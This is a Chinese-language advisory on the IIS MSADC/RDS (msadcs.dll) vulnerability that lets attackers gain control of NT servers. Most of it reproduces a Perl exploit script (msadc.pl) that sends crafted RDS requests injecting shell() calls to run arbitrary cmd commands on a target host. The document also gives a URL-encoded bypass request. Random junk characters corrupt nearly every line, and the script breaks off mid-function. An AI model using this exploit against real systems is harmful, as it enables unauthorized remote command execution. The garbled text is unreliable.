IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
:%!}%fkxH ha;Xali ] 涉及程序:
Xm|Uz`A; Microsoft NT server
`sS\8~A `Jvy~T 描述:
nPW?DbH + 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
J H%^FF2 (6aSDx
Sc 详细:
oBA]qI 如果你没有时间读详细内容的话,就删除:
,~R`@5+ c:\Program Files\Common Files\System\Msadc\msadcs.dll
d$3;o&VUNI 有关的安全问题就没有了。
];-DqK' COE,pb17 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
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HFfc !J5k?J&{= 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
_^)Wrf+ 关于利用ODBC远程漏洞的描述,请参看:
>|)ia5# BZ] 6W/0 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ')d&:K*M re\@v8w~ 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
'f#i@$|] http://www.microsoft.com/security/bulletins/MS99-025faq.asp yqy5i{Y @}
nI$x. 这里不再论述。
(RDY-~#~ E&\dr;{7 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
}!5x1F! h,Y!d]2w /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
A`=;yD 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
Z~g I ) &C~R* E%eTjvvxus #将下面这段保存为txt文件,然后: "perl -x 文件名"
|H:JwxH O'6zV"<P #!perl
Ywj=6 +; #
>m}U|#;W # MSADC/RDS 'usage' (aka exploit) script
>&@hm4 #
1'skCR|!< # by rain.forest.puppy
Q?f%]uGFQ #
hSxlj7Eo^T # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
i6"/GSA
# beta test and find errors!
y$n7'W6 [DW}z use Socket; use Getopt::Std;
e&Z\hZBb getopts("e:vd:h:XR", \%args);
ZS&n,<a5L} AM L8.wJ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
+N161vo7 jpL'y1@Ut if (!defined $args{h} && !defined $args{R}) {
\JJ>y print qq~
;l^4/BR Usage: msadc.pl -h <host> { -d <delay> -X -v }
i\P?Y(-{ -h <host> = host you want to scan (ip or domain)
hjuzVOE|W -d <seconds> = delay between calls, default 1 second
rAc
Yt9M# -X = dump Index Server path table, if available
'~dE0ohWb -v = verbose
UbBo#(TZ) -e = external dictionary file for step 5
U6hT*126 vepZod}D Or a -R will resume a command session
pUvbIbg+ _3q% ~; exit;}
=)56]ki} "3!!G=s P $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
@ljvTgZ(X if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
oDyrf"dl if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
3pxm0| if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
TBfX1v|Z) $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
traJub if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
4dDDi,)U ];bl;BP if (!defined $args{R}){ $ret = &has_msadc;
"J0,SFu: die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
E,Q>jH aBPaC=g{HO print "Please type the NT commandline you want to run (cmd /c assumed):\n"
Sz\"*W;> . "cmd /c ";
fV-vy]x.. $in=<STDIN>; chomp $in;
:n3)vK $command="cmd /c " . $in ;
@PXb^x#k ,hj5.;M if (defined $args{R}) {&load; exit;}
zNE"5 B,sv! p+q5 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
;4jRsirx9 &try_btcustmr;
?Rc+H;x=f ` [ EzU+ print "\nStep 2: Trying to make our own DSN...";
9N9dQ}[:g &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
zu<8% Q AJX7 print "\nStep 3: Trying known DSNs...";
o C]tEXJ &known_dsn;
={9G.%W K)2ZH@ print "\nStep 4: Trying known .mdbs...";
<B]\& &known_mdb;
o0- 7# 2 O_*(:Z if (defined $args{e}){
_VU/j9<+ print "\nStep 5: Trying dictionary of DSN names...";
NIeKS_ + &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
(>qX> $9znRTFEj print "Sorry Charley...maybe next time?\n";
h+mM exit;
Q K0 _(J 7^rN ##############################################################################
^7`"wj14 t<O5_}R%d sub sendraw { # ripped and modded from whisker
fP`g#t)4Tu sleep($delay); # it's a DoS on the server! At least on mine...
$|v_ pjUu] my ($pstr)=@_;
GS |sx socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
&Z682b$ die("Socket problems\n");
DPvM|n`TW if(connect(S,pack "SnA4x8",2,80,$target)){
73/kyu-0% select(S); $|=1;
%H:uE*WZ print $pstr; my @in=<S>;
hWK}] gF select(STDOUT); close(S);
T>(nc" ( return @in;
kBY54pl } else { die("Can't connect...\n"); }}
_//)|.6c3 [h 8j0Q@Q ##############################################################################
N9r}nqCN %dTkw+J sub make_header { # make the HTTP request
aG7QLCL my $msadc=<<EOT
3 $;6pY POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
nAn/V u User-Agent: ACTIVEDATA
~LPxVYhK Host: $ip
:.['e` Content-Length: $clen
<8MKjf Connection: Keep-Alive
.$+]N[-=
0uzm@'^ ADCClientVersion:01.06
<@FOqi{o{ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
Y|J\,7CM C=ni5R --!ADM!ROX!YOUR!WORLD!
^yH!IRRAq Content-Type: application/x-varg
SU OuayE Content-Length: $reqlen
U0'> (FP~2 U'S}7gya EOT
}f)$+mi ; $msadc=~s/\n/\r\n/g;
~<Z;)e return $msadc;}
<=8REA? C.V")D= ##############################################################################
Z]l<,m fk)ts,p? sub make_req { # make the RDS request
T^u ][I3* my ($switch, $p1, $p2)=@_;
vz:P2TkM my $req=""; my $t1, $t2, $query, $dsn;
eRQ}`DjTk {J q[N} if ($switch==1){ # this is the btcustmr.mdb query
yfeX=h $query="Select * from Customers where City=" . make_shell();
9^h\vR|]S $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
YQOdwcLG
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
S (](C `m?%{ \ elsif ($switch==2){ # this is general make table query
/*g3TbUs $query="create table AZZ (B int, C varchar(10))";
IlsXj`!e $dsn="$p1";}
k|Vq-w -}0S%|#m elsif ($switch==3){ # this is general exploit table query
]kq{9b'; $query="select * from AZZ where C=" . make_shell();
Zws[}G"7h $dsn="$p1";}
?-0k3 g1VdP[Y# elsif ($switch==4){ # attempt to hork file info from index server
cc7*O $query="select path from scope()";
|n=m{JX \m $dsn="Provider=MSIDXS;";}
Q[_{:DJA xaSvjc\ elsif ($switch==5){ # bad query
M>dP
1 $query="select";
$u_0"sUV $dsn="$p1";}
'gk.J :S}!i?n $t1= make_unicode($query);
b{<qt}) $t2= make_unicode($dsn);
Y~Y-L<`I $req = "\x02\x00\x03\x00";
duB{1 $req.= "\x08\x00" . pack ("S1", length($t1));
>k,|N4( $req.= "\x00\x00" . $t1 ;
IY6DZP $req.= "\x08\x00" . pack ("S1", length($t2));
Ov"]&e(I[ $req.= "\x00\x00" . $t2 ;
/e :V44 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
r#iZ FL3q return $req;}
v.:aICB5 K:
g_M ##############################################################################
4s nL(( 6M9t<DQV sub make_shell { # this makes the shell() statement
Gm;)Om_ return "'|shell(\"$command\")|'";}
^%|,G:r e5KsKzu a ##############################################################################
w naP? |/ /y lO["<Q sub make_unicode { # quick little function to convert to unicode
_O)xE9t#ru my ($in)=@_; my $out;
Bz<T{f for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
OJiW@Z_\ return $out;}
c7Sa|9*dR Hs/
aU_ ##############################################################################
`v3WJ>Q!N? Q\Dx/?g!vx sub rdo_success { # checks for RDO return success (this is kludge)
d4KTwn5g my (@in) = @_; my $base=content_start(@in);
tJ[yx_mf if($in[$base]=~/multipart\/mixed/){
W1'F)5(?7 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
&5puGnTZ return 0;}
eqbQ,, & |N_tVE ##############################################################################
bA}9He1 Jb~$Vrdy sub make_dsn { # this makes a DSN for us
_+PiaJ&' my @drives=("c","d","e","f");
O 4zD
>O print "\nMaking DSN: ";
D\|$!i} foreach $drive (@drives) {
l?pF?({ print "$drive: ";
it]im my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
{<&i4; "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
Ie{98 . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
(5-
w>( $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
;6S,|rC] return 0 if $2 eq "404"; # not found/doesn't exist
j6v|D>I if($2 eq "200") {
su;u_rc, foreach $line (@results) {
z~&uLu return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
F.5'5% } return 0;}
MU6|>{ oV"d%ks ##############################################################################
"fK`F/ TNe,'S,% sub verify_exists {
_CqVH5U? my ($page)=@_;
HJ#3wk "W my @results=sendraw("GET $page HTTP/1.0\n\n");
|dIP &9 return $results[0];}
*D`]7I~} 3ARvSz@5 ##############################################################################
PdiP5S }/ O/g|E47 sub try_btcustmr {
DUH\/<^g my @drives=("c","d","e","f");
x/~qyX8vo my @dirs=("winnt","winnt35","winnt351","win","windows");
%smQ`u| 0XouHU foreach $dir (@dirs) {
m 2c>RCq print "$dir -> "; # fun status so you can see progress
l
e+6;'Q foreach $drive (@drives) {
&Tz@lvOv% print "$drive: "; # ditto
e7e6b-"_2 $reqlen=length( make_req(1,$drive,$dir) ) - 28;
WgHl.
:R $reqlenlen=length( "$reqlen" );
#yNSQd $clen= 206 + $reqlenlen + $reqlen;
+*u'vt? rJLn=|uR my @results=sendraw(make_header() . make_req(1,$drive,$dir));
G!]%xFwYa if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
$+(Df|) else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
%
mP%W< V11(EZJ/j ##############################################################################
6P,vGmR hxG=g6:G sub odbc_error {
s
P=$>@3 my (@in)=@_; my $base;
R7)\wP*l5 my $base = content_start(@in);
Ah^0FU%!g if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
pe^hOzVv $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
ggluQGA $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
R Lnsy, $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
R-7.q return $in[$base+4].$in[$base+5].$in[$base+6];}
&d,chb( print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
\9;SOA v print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
V+\L@mz; $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
So?.V4aD_ IZ){xI ##############################################################################
|gXtP- K4T#8K]aZF sub verbose {
TtZZjeg+V my ($in)=@_;
S8=Am7D]1 return if !$verbose;
TFZvZi$u& print STDOUT "\n$in\n";}
NO$n-<ag c}XuzgSY ##############################################################################
3C:!\R kXjrc sub save {
! z!lQ~ my ($p1, $p2, $p3, $p4)=@_;
\R!.VL3Tx$ open(OUT, ">rds.save") || print "Problem saving parameters...\n";
'*4>&V.yX print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
6snDv4 close OUT;}
|\HYq`!g%7 ]lBe ##############################################################################
:ik$@5wp VV_Zrje sub load {
!yUn|v>&p my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
S7|6dwQ& open(IN,"<rds.save") || die("Couldn't open rds.save\n");
Z`_`^ \" @p=<IN>; close(IN);
-|1H-[Y( $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
Sn o7Ru2 $target= inet_aton($ip) || die("inet_aton problems");
!@6P>HzY$ print "Resuming to $ip ...";
]mfI$p% $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
nqp:nw if($p[1]==1) {
/KL;%:7 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
A~2U9f+\ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
WA'&